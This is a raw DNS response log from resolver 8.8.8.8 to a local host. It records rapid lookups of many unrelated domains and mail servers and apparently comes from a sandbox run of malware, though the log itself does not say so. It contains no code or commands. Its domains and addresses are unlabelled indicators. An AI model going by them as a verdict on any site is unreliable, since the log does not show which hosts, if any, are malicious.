Jul 27, 2023 21:54:17.729015112 CEST	8.8.8.8	192.168.2.4	0xe303	No error (0)	uhsa.edu.ag		192.124.249.13	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.760020971 CEST	8.8.8.8	192.168.2.4	0x6391	No error (0)	adventist.ro		49.12.155.123	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.826272964 CEST	8.8.8.8	192.168.2.4	0xc20e	Name error (3)	ascc.org.au	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.852686882 CEST	8.8.8.8	192.168.2.4	0x7c09	No error (0)	rast.se		93.188.2.51	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.880012989 CEST	8.8.8.8	192.168.2.4	0x476a	Name error (3)	ascc.org.au	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.912276983 CEST	8.8.8.8	192.168.2.4	0xc5d1	Name error (3)	ascc.org.au	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.953403950 CEST	8.8.8.8	192.168.2.4	0x4749	No error (0)	mikihan.com		153.126.211.112	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.959841013 CEST	8.8.8.8	192.168.2.4	0x506a	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.963090897 CEST	8.8.8.8	192.168.2.4	0xad20	No error (0)	noblesse.be		5.134.4.115	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.021806002 CEST	8.8.8.8	192.168.2.4	0x80ac	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.026010036 CEST	8.8.8.8	192.168.2.4	0xd8b2	Name error (3)	chzko.ru	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.062392950 CEST	8.8.8.8	192.168.2.4	0xf2e9	No error (0)	nolaoig.org		54.212.145.129	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.121473074 CEST	8.8.8.8	192.168.2.4	0xf791	No error (0)	rast.se		93.188.2.51	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.173015118 CEST	8.8.8.8	192.168.2.4	0xe6d7	Server failure (2)	cjcagent.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.186252117 CEST	8.8.8.8	192.168.2.4	0xf718	No error (0)	from30ty.com		157.7.231.224	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.187985897 CEST	8.8.8.8	192.168.2.4	0xeba9	No error (0)	pellys.co.uk		77.72.4.226	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.224186897 CEST	8.8.8.8	192.168.2.4	0x6048	No error (0)	wnit.org		38.111.255.201	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.225016117 CEST	8.8.8.8	192.168.2.4	0xf3f2	Server failure (2)	cjcagent.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.307522058 CEST	8.8.8.8	192.168.2.4	0xf12f	No error (0)	kursavto.ru		31.177.76.70	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.307522058 CEST	8.8.8.8	192.168.2.4	0xf12f	No error (0)	kursavto.ru		31.177.80.70	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.352735043 CEST	8.8.8.8	192.168.2.4	0xa52b	No error (0)	beafin.com		133.125.38.187	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.405208111 CEST	8.8.8.8	192.168.2.4	0xe565	Server failure (2)	avc.com.sa	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.568376064 CEST	8.8.8.8	192.168.2.4	0x896	No error (0)	forbin.net		172.67.148.35	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.568376064 CEST	8.8.8.8	192.168.2.4	0x896	No error (0)	forbin.net		104.21.41.152	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.581708908 CEST	8.8.8.8	192.168.2.4	0xdc89	No error (0)	websy.com		13.248.169.48	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.581708908 CEST	8.8.8.8	192.168.2.4	0xdc89	No error (0)	websy.com		76.223.54.146	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.631743908 CEST	8.8.8.8	192.168.2.4	0xe9d6	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.815453053 CEST	8.8.8.8	192.168.2.4	0xdc8d	No error (0)	mijash3.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.815453053 CEST	8.8.8.8	192.168.2.4	0xdc8d	No error (0)	mijash3.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.815453053 CEST	8.8.8.8	192.168.2.4	0xdc8d	No error (0)	mijash3.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.815453053 CEST	8.8.8.8	192.168.2.4	0xdc8d	No error (0)	mijash3.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.857408047 CEST	8.8.8.8	192.168.2.4	0x7784	Server failure (2)	avc.com.sa	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.940443993 CEST	8.8.8.8	192.168.2.4	0x35d6	No error (0)	smitko.net		31.15.12.103	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.949038982 CEST	8.8.8.8	192.168.2.4	0xde66	No error (0)	scip.org.uk		104.26.13.244	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.949038982 CEST	8.8.8.8	192.168.2.4	0xde66	No error (0)	scip.org.uk		104.26.12.244	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.949038982 CEST	8.8.8.8	192.168.2.4	0xde66	No error (0)	scip.org.uk		172.67.72.150	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.994349003 CEST	8.8.8.8	192.168.2.4	0xe6c	No error (0)	s5w.com		192.99.226.184	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.013520002 CEST	8.8.8.8	192.168.2.4	0xc494	Server failure (2)	avc.com.sa	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.062541008 CEST	8.8.8.8	192.168.2.4	0x1422	No error (0)	roewer.de		45.142.176.225	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.101736069 CEST	8.8.8.8	192.168.2.4	0xb241	No error (0)	camamat.com		104.21.235.31	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.101736069 CEST	8.8.8.8	192.168.2.4	0xb241	No error (0)	camamat.com		104.21.235.32	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.105065107 CEST	8.8.8.8	192.168.2.4	0x80ac	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.168134928 CEST	8.8.8.8	192.168.2.4	0x30d3	No error (0)	www.wnsavoy.com		96.91.204.114	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.317007065 CEST	8.8.8.8	192.168.2.4	0x8153	No error (0)	acraloc.com		185.230.63.107	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.426903963 CEST	8.8.8.8	192.168.2.4	0xad65	No error (0)	wvs-net.de		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.426903963 CEST	8.8.8.8	192.168.2.4	0xad65	No error (0)	wvs-net.de		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.535049915 CEST	8.8.8.8	192.168.2.4	0xb951	No error (0)	shteeble.com		185.106.129.180	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.564553022 CEST	8.8.8.8	192.168.2.4	0x697b	No error (0)	ftchat.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.564553022 CEST	8.8.8.8	192.168.2.4	0x697b	No error (0)	ftchat.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.683931112 CEST	8.8.8.8	192.168.2.4	0xe9d6	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.762268066 CEST	8.8.8.8	192.168.2.4	0x9159	No error (0)	ifesnet.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.762268066 CEST	8.8.8.8	192.168.2.4	0x9159	No error (0)	ifesnet.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.788173914 CEST	8.8.8.8	192.168.2.4	0x2cfa	No error (0)	captlfix.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.788173914 CEST	8.8.8.8	192.168.2.4	0x2cfa	No error (0)	captlfix.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.788173914 CEST	8.8.8.8	192.168.2.4	0x2cfa	No error (0)	captlfix.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.788173914 CEST	8.8.8.8	192.168.2.4	0x2cfa	No error (0)	captlfix.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.829751968 CEST	8.8.8.8	192.168.2.4	0xea01	No error (0)	wvs-net.de		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.829751968 CEST	8.8.8.8	192.168.2.4	0xea01	No error (0)	wvs-net.de		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.835340023 CEST	8.8.8.8	192.168.2.4	0xd88f	No error (0)	kairel.com		54.217.118.81	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.867285967 CEST	8.8.8.8	192.168.2.4	0x5bc6	No error (0)	bosado.com		5.39.75.157	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.930862904 CEST	8.8.8.8	192.168.2.4	0x6008	No error (0)	kewlmail.com		63.251.106.25	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.015697956 CEST	8.8.8.8	192.168.2.4	0xf89d	No error (0)	banvari.com		23.227.38.32	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.152640104 CEST	8.8.8.8	192.168.2.4	0x6e7b	No error (0)	komie.com		59.106.13.181	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.179294109 CEST	8.8.8.8	192.168.2.4	0x80ac	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.290158987 CEST	8.8.8.8	192.168.2.4	0x373d	No error (0)	hamaker.net		34.102.136.180	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.295737028 CEST	8.8.8.8	192.168.2.4	0x554e	No error (0)	vivastay.com	traff-4.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:20.295737028 CEST	8.8.8.8	192.168.2.4	0x554e	No error (0)	traff-4.hugedomains.com	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:20.295737028 CEST	8.8.8.8	192.168.2.4	0x554e	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		3.94.41.167	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.295737028 CEST	8.8.8.8	192.168.2.4	0x554e	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		52.86.6.113	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.334080935 CEST	8.8.8.8	192.168.2.4	0x17b6	Server failure (2)	atis-sk.ca	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.381351948 CEST	8.8.8.8	192.168.2.4	0xc54f	Name error (3)	www.yumgiskor.kz	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.392062902 CEST	8.8.8.8	192.168.2.4	0x2d0	Server failure (2)	atis-sk.ca	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.433988094 CEST	8.8.8.8	192.168.2.4	0x632f	Server failure (2)	atis-sk.ca	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.497833967 CEST	8.8.8.8	192.168.2.4	0x2fbf	No error (0)	zupraha.cz		77.78.104.3	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.538371086 CEST	8.8.8.8	192.168.2.4	0xb4d2	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.578668118 CEST	8.8.8.8	192.168.2.4	0xe1a2	Server failure (2)	cjcagent.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.603199005 CEST	8.8.8.8	192.168.2.4	0x98b	Name error (3)	pcoyuncu.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.661341906 CEST	8.8.8.8	192.168.2.4	0xab53	No error (0)	nettle.pl		195.128.140.29	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.693403006 CEST	8.8.8.8	192.168.2.4	0x3001	No error (0)	smtp.compuserve.com	east.us.smtp.aol.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:20.693403006 CEST	8.8.8.8	192.168.2.4	0x3001	No error (0)	east.us.smtp.aol.com	smtp.aol.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:20.693403006 CEST	8.8.8.8	192.168.2.4	0x3001	No error (0)	smtp.aol.com	smtp.cs.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:20.693403006 CEST	8.8.8.8	192.168.2.4	0x3001	No error (0)	smtp.cs.com	smtp.aol.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:20.693403006 CEST	8.8.8.8	192.168.2.4	0x3001	No error (0)	smtp.aol.g03.yahoodns.net		87.248.97.31	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.718066931 CEST	8.8.8.8	192.168.2.4	0x92fb	No error (0)	scintel.com		23.239.201.14	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.730735064 CEST	8.8.8.8	192.168.2.4	0xe9d6	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.778342009 CEST	8.8.8.8	192.168.2.4	0x58c0	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.819786072 CEST	8.8.8.8	192.168.2.4	0xaea6	No error (0)	nolaoig.org		54.212.145.129	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.971350908 CEST	8.8.8.8	192.168.2.4	0x880b	No error (0)	nettle.pl		195.128.140.29	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.995637894 CEST	8.8.8.8	192.168.2.4	0xad8b	No error (0)	cqdgroup.com		221.132.33.88	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:21.058434010 CEST	8.8.8.8	192.168.2.4	0x328a	No error (0)	skypearl.com		153.122.170.15	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:21.153016090 CEST	8.8.8.8	192.168.2.4	0xba21	No error (0)	skypearl.com		153.122.170.15	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:21.154768944 CEST	8.8.8.8	192.168.2.4	0x2333	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:21.284634113 CEST	8.8.8.8	192.168.2.4	0x7a37	No error (0)	isom.org		192.124.249.14	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:21.323910952 CEST	8.8.8.8	192.168.2.4	0xe4e2	No error (0)	ccrsi.org		198.209.253.30	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:21.467749119 CEST	8.8.8.8	192.168.2.4	0x861d	No error (0)	notis.ru		185.178.208.141	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:21.730204105 CEST	8.8.8.8	192.168.2.4	0x39ec	No error (0)	pers.com		192.124.249.3	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:21.798516035 CEST	8.8.8.8	192.168.2.4	0xf223	No error (0)	komie.com		59.106.13.181	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:21.800504923 CEST	8.8.8.8	192.168.2.4	0x397b	No error (0)	webavant.com		148.72.176.26	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:21.838180065 CEST	8.8.8.8	192.168.2.4	0x847f	No error (0)	refintl.org		198.49.23.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:21.838180065 CEST	8.8.8.8	192.168.2.4	0x847f	No error (0)	refintl.org		198.185.159.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:21.838180065 CEST	8.8.8.8	192.168.2.4	0x847f	No error (0)	refintl.org		198.49.23.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:21.838180065 CEST	8.8.8.8	192.168.2.4	0x847f	No error (0)	refintl.org		198.185.159.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:21.895180941 CEST	8.8.8.8	192.168.2.4	0x91f8	No error (0)	pellys.co.uk		77.72.4.226	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.082943916 CEST	8.8.8.8	192.168.2.4	0xc4a3	No error (0)	cjborden.com		15.197.142.173	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.082943916 CEST	8.8.8.8	192.168.2.4	0xc4a3	No error (0)	cjborden.com		3.33.152.147	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.104509115 CEST	8.8.8.8	192.168.2.4	0x58f9	Name error (3)	anteph.org	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.139698029 CEST	8.8.8.8	192.168.2.4	0x80ac	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.159533024 CEST	8.8.8.8	192.168.2.4	0x7050	Name error (3)	anteph.org	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.167972088 CEST	8.8.8.8	192.168.2.4	0x5bab	No error (0)	peminet.net		198.54.117.242	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.199943066 CEST	8.8.8.8	192.168.2.4	0xfd1d	Name error (3)	anteph.org	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.248442888 CEST	8.8.8.8	192.168.2.4	0x51fb	No error (0)	ludea.cz		46.8.8.200	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.381189108 CEST	8.8.8.8	192.168.2.4	0xa441	No error (0)	holp-ai.com		59.106.13.169	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.517105103 CEST	8.8.8.8	192.168.2.4	0x59f1	No error (0)	t-trust.jp		183.181.82.14	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.647115946 CEST	8.8.8.8	192.168.2.4	0xf74a	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.654367924 CEST	8.8.8.8	192.168.2.4	0x3951	No error (0)	redgiga.com		104.21.76.38	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.654367924 CEST	8.8.8.8	192.168.2.4	0x3951	No error (0)	redgiga.com		172.67.186.153	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.697316885 CEST	8.8.8.8	192.168.2.4	0x377b	No error (0)	esmoke.net		204.15.134.44	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.713344097 CEST	8.8.8.8	192.168.2.4	0x7868	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.740299940 CEST	8.8.8.8	192.168.2.4	0xe9d6	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.883387089 CEST	8.8.8.8	192.168.2.4	0xb3f8	No error (0)	scip.org.uk		172.67.72.150	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.883387089 CEST	8.8.8.8	192.168.2.4	0xb3f8	No error (0)	scip.org.uk		104.26.12.244	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.883387089 CEST	8.8.8.8	192.168.2.4	0xb3f8	No error (0)	scip.org.uk		104.26.13.244	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.883969069 CEST	8.8.8.8	192.168.2.4	0x88cb	No error (0)	oozkranj.com		212.44.102.57	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.048376083 CEST	8.8.8.8	192.168.2.4	0xb5d7	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.143768072 CEST	8.8.8.8	192.168.2.4	0x340f	No error (0)	www.jacomfg.com		96.127.180.42	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.172919035 CEST	8.8.8.8	192.168.2.4	0x785c	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.357507944 CEST	8.8.8.8	192.168.2.4	0x841a	No error (0)	shiner.com		172.67.143.148	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.357507944 CEST	8.8.8.8	192.168.2.4	0x841a	No error (0)	shiner.com		104.21.27.205	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.368624926 CEST	8.8.8.8	192.168.2.4	0x6244	No error (0)	ntc.edu.au		192.124.249.15	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.391307116 CEST	8.8.8.8	192.168.2.4	0x29b0	No error (0)	jsaps.com		49.212.235.59	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.419888020 CEST	8.8.8.8	192.168.2.4	0x8c02	No error (0)	pellys.co.uk		77.72.4.226	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.448734045 CEST	8.8.8.8	192.168.2.4	0x326d	No error (0)	pellys.co.uk		77.72.4.226	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.810153008 CEST	8.8.8.8	192.168.2.4	0x4ef4	No error (0)	shteeble.com		185.106.129.180	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.821866989 CEST	8.8.8.8	192.168.2.4	0x69ee	No error (0)	kairel.com		54.217.118.81	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.823270082 CEST	8.8.8.8	192.168.2.4	0xe4a8	No error (0)	valselit.com		193.70.68.254	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.828305006 CEST	8.8.8.8	192.168.2.4	0x4315	No error (0)	jabian.com		104.26.7.17	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.828305006 CEST	8.8.8.8	192.168.2.4	0x4315	No error (0)	jabian.com		172.67.71.13	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.828305006 CEST	8.8.8.8	192.168.2.4	0x4315	No error (0)	jabian.com		104.26.6.17	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.828769922 CEST	8.8.8.8	192.168.2.4	0x9655	No error (0)	cvswl.org		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.828769922 CEST	8.8.8.8	192.168.2.4	0x9655	No error (0)	cvswl.org		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.845079899 CEST	8.8.8.8	192.168.2.4	0x7f31	No error (0)	e-kami.net		202.172.28.89	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.857033968 CEST	8.8.8.8	192.168.2.4	0x7722	No error (0)	www.ex-olive.com		210.140.73.39	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.886461973 CEST	8.8.8.8	192.168.2.4	0x5450	No error (0)	atbauk.org		172.67.196.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.886461973 CEST	8.8.8.8	192.168.2.4	0x5450	No error (0)	atbauk.org		104.21.92.170	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.972533941 CEST	8.8.8.8	192.168.2.4	0x3dfe	No error (0)	isom.org		192.124.249.14	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:24.059315920 CEST	8.8.8.8	192.168.2.4	0xb5d7	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:24.069988966 CEST	8.8.8.8	192.168.2.4	0x9021	No error (0)	wantapc.net		157.7.107.49	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:24.105865002 CEST	8.8.8.8	192.168.2.4	0xca9f	No error (0)	rokoron.com		211.13.204.3	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:24.123136044 CEST	8.8.8.8	192.168.2.4	0xdf9f	No error (0)	t-trust.jp		183.181.82.14	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:24.339555025 CEST	8.8.8.8	192.168.2.4	0x48af	No error (0)	cnti.krsn.ru		217.74.161.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:25.075303078 CEST	8.8.8.8	192.168.2.4	0xb5d7	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:25.369745970 CEST	8.8.8.8	192.168.2.4	0xa88e	No error (0)	mjrcpas.com		204.11.56.50	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:25.464308023 CEST	8.8.8.8	192.168.2.4	0x1718	No error (0)	cbaben.com		173.205.126.33	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:25.465400934 CEST	8.8.8.8	192.168.2.4	0x201c	No error (0)	tabbles.net		80.211.41.39	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:25.568742037 CEST	8.8.8.8	192.168.2.4	0x1008	No error (0)	willsub.com		69.89.107.122	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:25.703798056 CEST	8.8.8.8	192.168.2.4	0xe439	No error (0)	a-domani.com		183.90.232.24	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:25.750225067 CEST	8.8.8.8	192.168.2.4	0x5736	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:25.806698084 CEST	8.8.8.8	192.168.2.4	0x4ed9	No error (0)	mail.airmail.net		66.226.70.66	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:26.116084099 CEST	8.8.8.8	192.168.2.4	0xe29b	No error (0)	oaith.ca		192.124.249.12	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:26.266213894 CEST	8.8.8.8	192.168.2.4	0x6c5e	No error (0)	doggybag.org		213.186.33.16	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:26.310157061 CEST	8.8.8.8	192.168.2.4	0xdcb6	No error (0)	jnf.at		136.243.147.81	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:26.414849997 CEST	8.8.8.8	192.168.2.4	0x5762	No error (0)	thiessen.net		62.75.251.116	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:26.437268972 CEST	8.8.8.8	192.168.2.4	0x9238	No error (0)	www.reglera.com	reglera.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:26.437268972 CEST	8.8.8.8	192.168.2.4	0x9238	No error (0)	reglera.com		64.125.133.18	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:26.718050003 CEST	8.8.8.8	192.168.2.4	0x4b51	No error (0)	siongann.com		172.67.156.237	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:26.718050003 CEST	8.8.8.8	192.168.2.4	0x4b51	No error (0)	siongann.com		104.21.8.75	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:26.746817112 CEST	8.8.8.8	192.168.2.4	0x5736	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:26.949548960 CEST	8.8.8.8	192.168.2.4	0x9096	No error (0)	semuk.com		86.105.245.69	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:27.057852030 CEST	8.8.8.8	192.168.2.4	0x5669	No error (0)	t-mould.com		81.169.145.175	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:27.061256886 CEST	8.8.8.8	192.168.2.4	0xd815	No error (0)	anduran.com	traff-4.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:27.061256886 CEST	8.8.8.8	192.168.2.4	0xd815	No error (0)	traff-4.hugedomains.com	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:27.061256886 CEST	8.8.8.8	192.168.2.4	0xd815	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		52.86.6.113	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:27.061256886 CEST	8.8.8.8	192.168.2.4	0xd815	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		3.94.41.167	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:27.121936083 CEST	8.8.8.8	192.168.2.4	0xb5d7	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
